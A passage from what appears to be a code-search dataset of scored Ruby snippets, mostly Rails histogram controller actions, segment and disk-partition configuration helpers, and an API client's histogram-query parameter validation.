seg[:is_loadable]\n segments << seg\n }\n end\n\n # Handle case where there are no segments defined\n if (segments.empty?) and (obj.respond_to? :sections)\n (obj.sections || []).each do |s|\n sec = decode_section(obj, s)\n next if sec[:empty]\n # TODO: remove non-loadable sections - sections must support this\n #next if ! sec[:is_loadable]\n segments << sec\n end\n\n # if still empty, create one big segment\n segments << decode_single_section(tgt) if segments.empty?\n end\n\n segments\n end", "title": "" }, { "docid": "a5bea1b7227f8200db5c5b363bca5e57", "score": "0.44636938", "text": "def build_tag_section_mapping(section_tags, filtered_tags); end", "title": "" }, { "docid": "a8ecdcb5d0d7b8dd80070de4375ac356", "score": "0.4461605", "text": "def add_cost_segment(opts)\n opts = check_params(opts,[:cost_segments])\n super(opts)\n end", "title": "" }, { "docid": "055f35d599f11f2cb4ac7dd9ff8b60d3", "score": "0.44559905", "text": "def api_v1_segmentation_params\n params.fetch(:api_v1_segmentation, {})\n end", "title": "" }, { "docid": "2d1c5a9b6c4a263db271ae9b16b1e488", "score": "0.44498733", "text": "def setup_intelligent_segments\n segments = Octo.get_config(:intelligent_segments)\n if segments\n segments.each do |seg|\n args = {\n enterprise_id: self._id,\n name: seg[:name],\n type: seg[:type].constantize,\n dimensions: seg[:dimensions].collect(&:constantize),\n operators: seg[:operators].collect(&:constantize),\n values: seg[:values].collect(&:constantize),\n active: true,\n intelligence: true,\n }\n Octo::Segment.new(args).save!\n end\n Octo.logger.info \"Created segents for Enterprise: #{ self.name }\"\n end\n end", "title": "" }, { "docid": "898c018c80f4c8442c3c6f50667dfd62", "score": "0.4446559", "text": "def build_slot_node_key_map(available_slots); end", "title": "" }, { "docid": "1fad05eb962ef1af4ae408f1282df355", "score": "0.44411245", "text": "def setup_defaults\n # this can be overridden in the spec, but ec2 is the default\n using :ec2\n options[:keypair] ||= keypair rescue nil\n options[:rules] = {:expand => dsl_options[:expand_when], :contract => dsl_options[:contract_when]}\n dependency_resolver 'chef' \n # enable :haproxy unless dsl_options[:haproxy] == :disabled\n end", "title": "" }, { "docid": "2b74f17f2d42410c4ba355a2a5d78f86", "score": "0.444009", "text": "def segments\n @segments ||= generate_segments\n end", "title": "" }, { "docid": "b69e980e4aabca601ab6675426bb7749", "score": "0.44399557", "text": "def set_defaults_for_params!(original_params)\n default_params = original_params.reject{|k,v| v[:default].nil?}\n \n default_params.each do |param, value|\n next if @params[param] #skip if the param is given\n \n @params[param] = value[:default] # set the defaults\n end\n end", "title": "" }, { "docid": "14ad85cf90e47c8175f27c434df2f077", "score": "0.44389024", "text": "def preprocess_partition_config(xmlflex)\n xmlflex = deep_copy(xmlflex)\n Builtins.y2debug(\"xml input: %1\", xmlflex)\n tm = Storage.GetTargetMap\n partitioning = Builtins.maplist(xmlflex) do |d|\n Builtins.foreach([\"keep_partition_id\", \"keep_partition_num\"]) do |key|\n num = []\n nlist2 = Builtins.splitstring(Ops.get_string(d, key, \"\"), \",\")\n Builtins.foreach(nlist2) do |n|\n num = Builtins.union(num, [Builtins.tointeger(n)])\n end\n Ops.set(d, key, num)\n end\n fsys = []\n nlist = Builtins.splitstring(\n Ops.get_string(d, \"keep_partition_fsys\", \"\"),\n \",\"\n )\n Builtins.foreach(nlist) do |n|\n fs = FileSystems.FsToSymbol(n)\n fsys = Builtins.union(fsys, [fs]) if fs != :none\n end\n Ops.set(d, \"keep_partition_fsys\", fsys)\n user_partitions = Ops.get_list(d, \"partitions\", [])\n if Builtins.size(user_partitions) == 0\n Builtins.y2milestone(\n \"no partitions specified, creating default scheme\"\n )\n root = {}\n Ops.set(root, \"mount\", \"/\")\n Ops.set(root, \"size\", \"max\")\n swap = {}\n Ops.set(swap, \"mount\", \"swap\")\n Ops.set(swap, \"size\", \"auto\")\n user_partitions = Builtins.add(user_partitions, swap)\n user_partitions = Builtins.add(user_partitions, root)\n end\n partitions = []\n Builtins.foreach(user_partitions) do |partition|\n if Builtins.haskey(partition, \"maxsize\")\n Ops.set(\n partition,\n \"max\",\n humanStringToByte(Ops.get_string(partition, \"maxsize\", \"\"), true)\n )\n end\n if Ops.get_string(partition, \"size\", \"\") != \"\"\n s = Ops.get_string(partition, \"size\", \"\")\n if Builtins.tolower(s) == \"auto\"\n Ops.set(partition, \"size\", -1)\n elsif Builtins.tolower(s) == \"suspend\"\n Ops.set(partition, \"size\", -2)\n elsif Builtins.tolower(s) == \"max\"\n Ops.set(partition, \"size\", 0)\n else\n Ops.set(partition, \"size\", humanStringToByte(s, true))\n end\n end\n if Ops.less_or_equal(Ops.get_integer(partition, \"size\", 0), -1) &&\n Ops.get_string(partition, \"mount\", \"\") == \"swap\"\n Ops.set(\n partition,\n \"size\",\n Ops.multiply(\n 1024 * 1024,\n Partitions.SwapSizeMb(\n 0,\n Ops.get_integer(partition, \"size\", 0) == -2\n )\n )\n )\n end\n if Ops.get_string(partition, \"mount\", \"\") == Partitions.BootMount\n if Ops.get_integer(partition, \"size\", 0) == -1\n Ops.set(partition, \"size\", Partitions.MinimalNeededBootsize)\n end\n\n if Ops.get_symbol(partition, \"filesystem\", :none) == :none\n Ops.set(partition, \"filesystem\", Partitions.DefaultBootFs)\n end\n\n if Ops.get_integer(partition, \"filesystem_id\", 0) == 0\n Ops.set(partition, \"filesystem_id\", Partitions.FsidBoot)\n end \n\n #partition[\"max_cyl\"] = Partitions::BootCyl();\n end\n if Ops.get_integer(partition, \"size\", 0) == -1\n Ops.set(partition, \"size\", 0)\n end\n if Ops.get_symbol(partition, \"used_by_type\", :UB_NONE) == :UB_LVM\n Ops.set(partition, \"filesystem_id\", Partitions.fsid_lvm)\n elsif Ops.get_symbol(partition, \"used_by_type\", :UB_NONE) == :UB_MD\n Ops.set(partition, \"filesystem_id\", Partitions.fsid_raid)\n end\n if Builtins.haskey(partition, \"filesystem_id\")\n Ops.set(\n partition,\n \"fsid\",\n Ops.get_integer(\n partition,\n \"filesystem_id\",\n Partitions.fsid_native\n )\n )\n end\n Builtins.y2debug(\"partition: %1\", partition)\n partitions = Builtins.add(partitions, partition)\n end\n if Ops.get_symbol(d, \"type\", :CT_UNKNONW) != :CT_LVM\n Ops.set(d, \"partitions\", partitions)\n end\n deep_copy(d)\n end\n\n Builtins.y2milestone(\"conf: %1\", partitioning)\n deep_copy(partitioning)\n end", "title": "" }, { "docid": "533df5980a946142cf19ff85c97ac8f5", "score": "0.44347095", "text": "def add_default_orders(scheduling_orders)\n DEFAULT_TYPE_SCHEDULING_PRIORITIES.each do |type|\n DEFAULT_LEVEL_SCHEDULING_PRIORITIES.each do |level|\n scheduling_orders << { student_type: type, level: level}\n end\n end\n end", "title": "" }, { "docid": "898cbb01eaadfddf7f3653390f2da04d", "score": "0.4430623", "text": "def ignore_request_defaults(expected, actual, level1, level2)\n actual = actual[level1] || {}\n expected = expected[level1] || {}\n [expected.size.to_i, actual.size.to_i].max.times do |i|\n a_r = actual.dig(i, level2, :requests) || []\n e_r = expected.dig(i, level2, :requests) || []\n ignore_defaults e_r, a_r, self::REQUEST_DEFAULTS\n end\n end", "title": "" }, { "docid": "e2abbd3eb39fac76dc7b2b4929c383bc", "score": "0.44278675", "text": "def users_segment_params\n params.fetch(:users_segment, {})\n end", "title": "" }, { "docid": "db6f9b700b72112363807b7a43abbd3b", "score": "0.4427421", "text": "def initialize(hash_options = {}, defaults = {}, stop_on_unknown = false)\n @stop_on_unknown = stop_on_unknown\n options = hash_options.values\n super(options)\n\n # Add defaults\n defaults.each do |key, value|\n @assigns[key.to_s] = value\n @non_assigned_required.delete(hash_options[key])\n end\n\n @shorts = {}\n @switches = {}\n @extra = []\n\n options.each do |option|\n @switches[option.switch_name] = option\n\n option.aliases.each do |short|\n name = short.to_s.sub(/^(?!\\-)/, \"-\")\n @shorts[name] ||= option.switch_name\n end\n end\n end", "title": "" }, { "docid": "f6b4e766f2490704c2288686056d4114", "score": "0.4426728", "text": "def create_default_policy(obj)\n m = create_default_marking(obj)\n create_default_isa_structure(obj,m) if obj.isa_marking_structures.count == 0\n create_default_isa_assertion(obj,m) if obj.isa_assertion_structures.count == 0\n # This will set the portion markings on indicators and packages\n # associated with the STIX markings after the ISA Assertion Structures\n # have been created with default policies.\n m.reload\n end", "title": "" }, { "docid": "55db4b7b9912e48c547402af9132bedf", "score": "0.44208506", "text": "def build_section_mapping\n return unless p_exist?(:keys => [:sections])\n\n # The primary data key should change from key to section & key.\n data = p_get(:keys => [:sections], :merge => true)\n\n return if data.nil?\n section_map = {}\n\n data.each do |section, values|\n next if values.nil?\n values.keys.each do |key|\n section_map[key] = [] unless section_map.key?(key)\n next if section_map[key].include?(section)\n\n section_map[key] << section\n end\n end\n p_set(:keys => [:keys], :value => section_map, :name => 'map')\n end", "title": "" } ]
7e8cb4e624f487695ec4702399ac2838
GET /batch_histograms GET /batch_histograms.json
[ { "docid": "f68af2392259424d0ddf3feb5855554a", "score": "0.7958057", "text": "def index\n @batch_histograms = BatchHistogram.all\n end", "title": "" } ]
[ { "docid": "d797a2dbb63208e493b50d71e98dbd79", "score": "0.800471", "text": "def request_histograms; end", "title": "" }, { "docid": "ea5f239f010b97eb0dc33c37e5350bc7", "score": "0.7155529", "text": "def histograms( category, extra_params = {})\n params = { \"categoryId\" => TOP_LEVEL_US_CATEGORIES[category]||category }.merge!(extra_params)\n fetch(build_url(\"getHistograms\", params))\n end", "title": "" }, { "docid": "4b1e5d0d03c1caadce4612222b4b9b7f", "score": "0.7071443", "text": "def return_histograms\n\t\t\tresp = {\n\t\t\tcategory: params[:_id],\n\t\t\tseries: {}\n\t\t\t}\n\t\t\t@types.each do |type|\n\t\t\t\tresp[:series][type[\"name\"].to_sym] = {\n\t\t\t\t\ttype: type[\"name\"],\n\t\t\t\t\tdata: @hists[type[\"name\"].to_sym].histogram,\n\t\t\t\t\tmean: @hists[type[\"name\"].to_sym].mean,\n\t\t\t\t\tmean_position: @hists[type[\"name\"].to_sym].mean_box,\n\t\t\t\t\tfork_size: @hists[type[\"name\"].to_sym].fork_size,\n\t\t\t\t\tmin_value: @hists[type[\"name\"].to_sym].min_value,\n\t\t\t\t\tmax_value: @hists[type[\"name\"].to_sym].max_value\n\t\t\t\t}\n\t\t\tend\n\t\t\tresp.to_json\n\t\tend", "title": "" }, { "docid": "3791101604ba2e90f8896bb9c7283e08", "score": "0.70581913", "text": "def get_histograms(category_id)\n request('getHistograms', 'categoryId' => category_id)\n end", "title": "" }, { "docid": "4ee17e2bb5661b18b5f8a2b7f751d093", "score": "0.6979341", "text": "def list_histograms(opts = {})\n data, _status_code, _headers = list_histograms_with_http_info(opts)\n return data\n end", "title": "" }, { "docid": "57f31a2029f7f320694211cc62bfdddd", "score": "0.67138326", "text": "def set_batch_histogram\n @batch_histogram = BatchHistogram.find(params[:id])\n end", "title": "" }, { "docid": "05f0b0df7aa74b20742e7b2761d4737e", "score": "0.6579986", "text": "def histograms; end", "title": "" }, { "docid": "05f0b0df7aa74b20742e7b2761d4737e", "score": "0.6579986", "text": "def histograms; end", "title": "" }, { "docid": "05f0b0df7aa74b20742e7b2761d4737e", "score": "0.6579986", "text": "def histograms; end", "title": "" }, { "docid": "72addd73e2ad5af1bd5b72deb37be932", "score": "0.64962494", "text": "def create\n @batch_histogram = BatchHistogram.new(batch_histogram_params)\n\n respond_to do |format|\n if @batch_histogram.save\n format.html { redirect_to @batch_histogram, notice: 'Batch histogram was successfully created.' }\n format.json { render :show, status: :created, location: @batch_histogram }\n else\n format.html { render :new }\n format.json { render json: @batch_histogram.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d1bae4ca6b6055402e6618c5ae996618", "score": "0.63976365", "text": "def histograms(sampling = 0.01, filters = {}, options = {})\n wf_sampling_value?(sampling)\n api.get_stream('histograms',\n histograms_filter(sampling, filters),\n options)\n end", "title": "" }, { "docid": "86b3e752fa1bf3f1a4fc0a23549200d9", "score": "0.6373435", "text": "def request_histograms\n @request_histograms ||= ScoutApm::RequestHistograms.new\n end", "title": "" }, { "docid": "af40da63c7d1c2fa7e173fc6aa74b549", "score": "0.63588524", "text": "def index\n @hourly_histograms = HourlyHistogram.all\n end", "title": "" }, { "docid": "377cdb363a2ed1ea63b9dde16ed190c8", "score": "0.63124037", "text": "def destroy\n @batch_histogram.destroy\n respond_to do |format|\n format.html { redirect_to batch_histograms_url, notice: 'Batch histogram was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8f8db3005ac3ab363f2ef12c21deae88", "score": "0.6307583", "text": "def report_histograms histograms\n histograms.each do |name, values|\n puts name, histogram.inspect\n %w{count max min mean stddev p50 p75 p95 p99 p999}.each do |name, value|\n report(\n :service => \"#{name} #{value}\",\n :state => :ok,\n :metric => values[value],\n :description => \"#{name} #{value}\"\n )\n end\n end\n end", "title": "" }, { "docid": "6fb4eb1913051a7f0b13d823a23ea9b6", "score": "0.6179085", "text": "def histogram\n # Record a value\n @new_value = Random.rand\n HISTOGRAM_EXAMPLE.observe({service: :jumping_users}, @new_value)\n # Retrieve the current bucketed values\n @observations = HISTOGRAM_EXAMPLE.get(service: :jumping_users)\n end", "title": "" }, { "docid": "98ad57592fdc31930980a779289fa076", "score": "0.6103987", "text": "def batch_histogram_params\n params.require(:batch_histogram).permit(:name, :tweet_count, :since_id, :histogram, :metric)\n end", "title": "" }, { "docid": "8e827964f87e1da9b2a6d4023fac41ba", "score": "0.60077024", "text": "def histogram(stat, value, sample_rate=1); send stat, value, HISTOGRAM_TYPE, sample_rate end", "title": "" }, { "docid": "fe67f6e4b387d0f829bbd7614de4daf1", "score": "0.59838015", "text": "def index\n @monthly_histograms = MonthlyHistogram.all\n end", "title": "" }, { "docid": "23a82dac18fe93ca8ea9e44a747e58c0", "score": "0.5968328", "text": "def histogram; end", "title": "" }, { "docid": "23a82dac18fe93ca8ea9e44a747e58c0", "score": "0.5968328", "text": "def histogram; end", "title": "" }, { "docid": "23a82dac18fe93ca8ea9e44a747e58c0", "score": "0.5968328", "text": "def histogram; end", "title": "" }, { "docid": "12b229c7cc38407ad0252cdcfff9ad77", "score": "0.58321774", "text": "def index\n @daily_histograms = DailyHistogram.all\n end", "title": "" }, { "docid": "892a207d19deaad00b80add9a5577920", "score": "0.5819717", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = GetHistogramsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "34426ea24cb5296c45760eb6898b6278", "score": "0.57641864", "text": "def auto_instruments_layer_histograms; end", "title": "" }, { "docid": "178563458cd6435ef1d8d0dd55fc85d8", "score": "0.5743915", "text": "def histogram\n hist = Array.new(256){0}\n @data.each do |pix|\n hist[pix] += 1\n end\n hist\n end", "title": "" }, { "docid": "c4f7eff3bfc8802f18c625606c58f1c3", "score": "0.5697365", "text": "def auto_instruments_layer_histograms\n @auto_instruments_layer_histograms ||= ScoutApm::RequestHistograms.new\n end", "title": "" }, { "docid": "f99c4b447652797037111f9f2a33bd88", "score": "0.5689399", "text": "def index\n @pur_hists = PurHist.all\n\n if @pur_hists.size < 1\n \n @hist_sets = []\n \n else\n \n @hist_sets = _index_Build_hist_sets\n \n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pur_hists }\n end\n end", "title": "" }, { "docid": "c98944ab451fa9a0cf76d3a16df40cfb", "score": "0.5660403", "text": "def hist\n if defined? @hist\n # this is a textbook example of how to lie with statistics...\n # TODO: iterate over a range rather than @hist.keys--a histogram\n # produced out of the keys won't properly represent flat spots\n # with no data. or something like that. do as i say, not as i do.\n #\n # this code borrows liberally from the ruby cookbook, recipe 5.12\n # ORA, 2006\n pairs = @hist.keys.map { |x| [x.to_s, @hist[x]] }.sort\n largest_key_size = pairs.max { |x,y| x[0].size <=> y[0].size }[0].size\n pairs.inject(\"\") do |s,kv|\n s<< \"#{kv[0].ljust(largest_key_size)} |#{char*kv[1]}\\n\"\n end\n end\n end", "title": "" }, { "docid": "db3d84a6385acbb55dc00714347f0fb8", "score": "0.56543916", "text": "def compile_histogram\n @histo = Hash.new([])\n Net::HTTP.get(URI(url)).split(/[^[:alpha:]]|\\s/).reject(&:blank?).each do |word|\n add_char(@@start_token)\n word.downcase.bytes.each { |char| add_char char }\n add_char(@@end_token)\n end\n update_attribute(:histogram, @histo)\n end", "title": "" }, { "docid": "56a86cb4f8c51ebf3173526c740f6132", "score": "0.5643856", "text": "def histogram(name)\n @registry.histogram(name)\n end", "title": "" }, { "docid": "ae8b58d2a48866cc051419862095fb14", "score": "0.5639841", "text": "def list_histograms_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi.list_histograms ...\"\n end\n if opts[:'language'] && !opts[:'language'].all?{|item| ['en', 'de', 'fr', 'it', 'es', 'pt'].include?(item)}\n fail ArgumentError, 'invalid value for \"language\", must include one of en, de, fr, it, es, pt'\n end\n if opts[:'not_language'] && !opts[:'not_language'].all?{|item| ['en', 'de', 'fr', 'it', 'es', 'pt'].include?(item)}\n fail ArgumentError, 'invalid value for \"not_language\", must include one of en, de, fr, it, es, pt'\n end\n if opts[:'categories_taxonomy'] && !['iab-qag', 'iptc-subjectcode'].include?(opts[:'categories_taxonomy'])\n fail ArgumentError, 'invalid value for \"categories_taxonomy\", must be one of iab-qag, iptc-subjectcode'\n end\n if opts[:'sentiment_title_polarity'] && !['positive', 'neutral', 'negative'].include?(opts[:'sentiment_title_polarity'])\n fail ArgumentError, 'invalid value for \"sentiment_title_polarity\", must be one of positive, neutral, negative'\n end\n if opts[:'not_sentiment_title_polarity'] && !['positive', 'neutral', 'negative'].include?(opts[:'not_sentiment_title_polarity'])\n fail ArgumentError, 'invalid value for \"not_sentiment_title_polarity\", must be one of positive, neutral, negative'\n end\n if opts[:'sentiment_body_polarity'] && !['positive', 'neutral', 'negative'].include?(opts[:'sentiment_body_polarity'])\n fail ArgumentError, 'invalid value for \"sentiment_body_polarity\", must be one of positive, neutral, negative'\n end\n if opts[:'not_sentiment_body_polarity'] && !['positive', 'neutral', 'negative'].include?(opts[:'not_sentiment_body_polarity'])\n fail ArgumentError, 'invalid value for \"not_sentiment_body_polarity\", must be one of positive, neutral, negative'\n end\n if !opts[:'media_images_count_min'].nil? && opts[:'media_images_count_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_images_count_min\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'media_images_count_max'].nil? && opts[:'media_images_count_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_images_count_max\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'media_images_width_min'].nil? && opts[:'media_images_width_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_images_width_min\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'media_images_width_max'].nil? && opts[:'media_images_width_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_images_width_max\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'media_images_height_min'].nil? && opts[:'media_images_height_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_images_height_min\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'media_images_height_max'].nil? && opts[:'media_images_height_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_images_height_max\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'media_images_content_length_min'].nil? && opts[:'media_images_content_length_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_images_content_length_min\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'media_images_content_length_max'].nil? && opts[:'media_images_content_length_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_images_content_length_max\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if opts[:'media_images_format'] && !opts[:'media_images_format'].all?{|item| ['BMP', 'GIF', 'JPEG', 'PNG', 'TIFF', 'PSD', 'ICO', 'CUR', 'WEBP', 'SVG'].include?(item)}\n fail ArgumentError, 'invalid value for \"media_images_format\", must include one of BMP, GIF, JPEG, PNG, TIFF, PSD, ICO, CUR, WEBP, SVG'\n end\n if opts[:'not_media_images_format'] && !opts[:'not_media_images_format'].all?{|item| ['BMP', 'GIF', 'JPEG', 'PNG', 'TIFF', 'PSD', 'ICO', 'CUR', 'WEBP', 'SVG'].include?(item)}\n fail ArgumentError, 'invalid value for \"not_media_images_format\", must include one of BMP, GIF, JPEG, PNG, TIFF, PSD, ICO, CUR, WEBP, SVG'\n end\n if !opts[:'media_videos_count_min'].nil? && opts[:'media_videos_count_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_videos_count_min\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'media_videos_count_max'].nil? && opts[:'media_videos_count_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"media_videos_count_max\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if opts[:'source_scopes_level'] && !opts[:'source_scopes_level'].all?{|item| ['international', 'national', 'local'].include?(item)}\n fail ArgumentError, 'invalid value for \"source_scopes_level\", must include one of international, national, local'\n end\n if opts[:'not_source_scopes_level'] && !opts[:'not_source_scopes_level'].all?{|item| ['international', 'national', 'local'].include?(item)}\n fail ArgumentError, 'invalid value for \"not_source_scopes_level\", must include one of international, national, local'\n end\n if !opts[:'source_links_in_count_min'].nil? && opts[:'source_links_in_count_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"source_links_in_count_min\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'source_links_in_count_max'].nil? && opts[:'source_links_in_count_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"source_links_in_count_max\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'source_rankings_alexa_rank_min'].nil? && opts[:'source_rankings_alexa_rank_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"source_rankings_alexa_rank_min\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'source_rankings_alexa_rank_max'].nil? && opts[:'source_rankings_alexa_rank_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"source_rankings_alexa_rank_max\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'social_shares_count_facebook_min'].nil? && opts[:'social_shares_count_facebook_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"social_shares_count_facebook_min\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'social_shares_count_facebook_max'].nil? && opts[:'social_shares_count_facebook_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"social_shares_count_facebook_max\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'social_shares_count_google_plus_min'].nil? && opts[:'social_shares_count_google_plus_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"social_shares_count_google_plus_min\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'social_shares_count_google_plus_max'].nil? && opts[:'social_shares_count_google_plus_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"social_shares_count_google_plus_max\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'social_shares_count_linkedin_min'].nil? && opts[:'social_shares_count_linkedin_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"social_shares_count_linkedin_min\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'social_shares_count_linkedin_max'].nil? && opts[:'social_shares_count_linkedin_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"social_shares_count_linkedin_max\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'social_shares_count_reddit_min'].nil? && opts[:'social_shares_count_reddit_min'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"social_shares_count_reddit_min\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if !opts[:'social_shares_count_reddit_max'].nil? && opts[:'social_shares_count_reddit_max'] <= 0\n fail ArgumentError, 'invalid value for \"opts[:\"social_shares_count_reddit_max\"]\" when calling DefaultApi.list_histograms, must be greater than 0.'\n end\n\n if opts[:'field'] && !['social_shares_count', 'social_shares_count.facebook', 'social_shares_count.linkedin', 'social_shares_count.reddit', 'social_shares_count.google_plus', 'characters_count', 'words_count', 'sentences_count', 'paragraphs_count', 'media.images.count', 'media.videos.count', 'source.links_in_count', 'source.rankings.alexa.rank', 'source.rankings.alexa.rank.AF', 'source.rankings.alexa.rank.AX', 'source.rankings.alexa.rank.AL', 'source.rankings.alexa.rank.DZ', 'source.rankings.alexa.rank.AS', 'source.rankings.alexa.rank.AD', 'source.rankings.alexa.rank.AO', 'source.rankings.alexa.rank.AI', 'source.rankings.alexa.rank.AQ', 'source.rankings.alexa.rank.AG', 'source.rankings.alexa.rank.AR', 'source.rankings.alexa.rank.AM', 'source.rankings.alexa.rank.AW', 'source.rankings.alexa.rank.AU', 'source.rankings.alexa.rank.AT', 'source.rankings.alexa.rank.AZ', 'source.rankings.alexa.rank.BS', 'source.rankings.alexa.rank.BH', 'source.rankings.alexa.rank.BD', 'source.rankings.alexa.rank.BB', 'source.rankings.alexa.rank.BY', 'source.rankings.alexa.rank.BE', 'source.rankings.alexa.rank.BZ', 'source.rankings.alexa.rank.BJ', 'source.rankings.alexa.rank.BM', 'source.rankings.alexa.rank.BT', 'source.rankings.alexa.rank.BO', 'source.rankings.alexa.rank.BQ', 'source.rankings.alexa.rank.BA', 'source.rankings.alexa.rank.BW', 'source.rankings.alexa.rank.BV', 'source.rankings.alexa.rank.BR', 'source.rankings.alexa.rank.IO', 'source.rankings.alexa.rank.BN', 'source.rankings.alexa.rank.BG', 'source.rankings.alexa.rank.BF', 'source.rankings.alexa.rank.BI', 'source.rankings.alexa.rank.KH', 'source.rankings.alexa.rank.CM', 'source.rankings.alexa.rank.CA', 'source.rankings.alexa.rank.CV', 'source.rankings.alexa.rank.KY', 'source.rankings.alexa.rank.CF', 'source.rankings.alexa.rank.TD', 'source.rankings.alexa.rank.CL', 'source.rankings.alexa.rank.CN', 'source.rankings.alexa.rank.CX', 'source.rankings.alexa.rank.CC', 'source.rankings.alexa.rank.CO', 'source.rankings.alexa.rank.KM', 'source.rankings.alexa.rank.CG', 'source.rankings.alexa.rank.CD', 'source.rankings.alexa.rank.CK', 'source.rankings.alexa.rank.CR', 'source.rankings.alexa.rank.CI', 'source.rankings.alexa.rank.HR', 'source.rankings.alexa.rank.CU', 'source.rankings.alexa.rank.CW', 'source.rankings.alexa.rank.CY', 'source.rankings.alexa.rank.CZ', 'source.rankings.alexa.rank.DK', 'source.rankings.alexa.rank.DJ', 'source.rankings.alexa.rank.DM', 'source.rankings.alexa.rank.DO', 'source.rankings.alexa.rank.EC', 'source.rankings.alexa.rank.EG', 'source.rankings.alexa.rank.SV', 'source.rankings.alexa.rank.GQ', 'source.rankings.alexa.rank.ER', 'source.rankings.alexa.rank.EE', 'source.rankings.alexa.rank.ET', 'source.rankings.alexa.rank.FK', 'source.rankings.alexa.rank.FO', 'source.rankings.alexa.rank.FJ', 'source.rankings.alexa.rank.FI', 'source.rankings.alexa.rank.FR', 'source.rankings.alexa.rank.GF', 'source.rankings.alexa.rank.PF', 'source.rankings.alexa.rank.TF', 'source.rankings.alexa.rank.GA', 'source.rankings.alexa.rank.GM', 'source.rankings.alexa.rank.GE', 'source.rankings.alexa.rank.DE', 'source.rankings.alexa.rank.GH', 'source.rankings.alexa.rank.GI', 'source.rankings.alexa.rank.GR', 'source.rankings.alexa.rank.GL', 'source.rankings.alexa.rank.GD', 'source.rankings.alexa.rank.GP', 'source.rankings.alexa.rank.GU', 'source.rankings.alexa.rank.GT', 'source.rankings.alexa.rank.GG', 'source.rankings.alexa.rank.GN', 'source.rankings.alexa.rank.GW', 'source.rankings.alexa.rank.GY', 'source.rankings.alexa.rank.HT', 'source.rankings.alexa.rank.HM', 'source.rankings.alexa.rank.VA', 'source.rankings.alexa.rank.HN', 'source.rankings.alexa.rank.HK', 'source.rankings.alexa.rank.HU', 'source.rankings.alexa.rank.IS', 'source.rankings.alexa.rank.IN', 'source.rankings.alexa.rank.ID', 'source.rankings.alexa.rank.IR', 'source.rankings.alexa.rank.IQ', 'source.rankings.alexa.rank.IE', 'source.rankings.alexa.rank.IM', 'source.rankings.alexa.rank.IL', 'source.rankings.alexa.rank.IT', 'source.rankings.alexa.rank.JM', 'source.rankings.alexa.rank.JP', 'source.rankings.alexa.rank.JE', 'source.rankings.alexa.rank.JO', 'source.rankings.alexa.rank.KZ', 'source.rankings.alexa.rank.KE', 'source.rankings.alexa.rank.KI', 'source.rankings.alexa.rank.KP', 'source.rankings.alexa.rank.KR', 'source.rankings.alexa.rank.KW', 'source.rankings.alexa.rank.KG', 'source.rankings.alexa.rank.LA', 'source.rankings.alexa.rank.LV', 'source.rankings.alexa.rank.LB', 'source.rankings.alexa.rank.LS', 'source.rankings.alexa.rank.LR', 'source.rankings.alexa.rank.LY', 'source.rankings.alexa.rank.LI', 'source.rankings.alexa.rank.LT', 'source.rankings.alexa.rank.LU', 'source.rankings.alexa.rank.MO', 'source.rankings.alexa.rank.MK', 'source.rankings.alexa.rank.MG', 'source.rankings.alexa.rank.MW', 'source.rankings.alexa.rank.MY', 'source.rankings.alexa.rank.MV', 'source.rankings.alexa.rank.ML', 'source.rankings.alexa.rank.MT', 'source.rankings.alexa.rank.MH', 'source.rankings.alexa.rank.MQ', 'source.rankings.alexa.rank.MR', 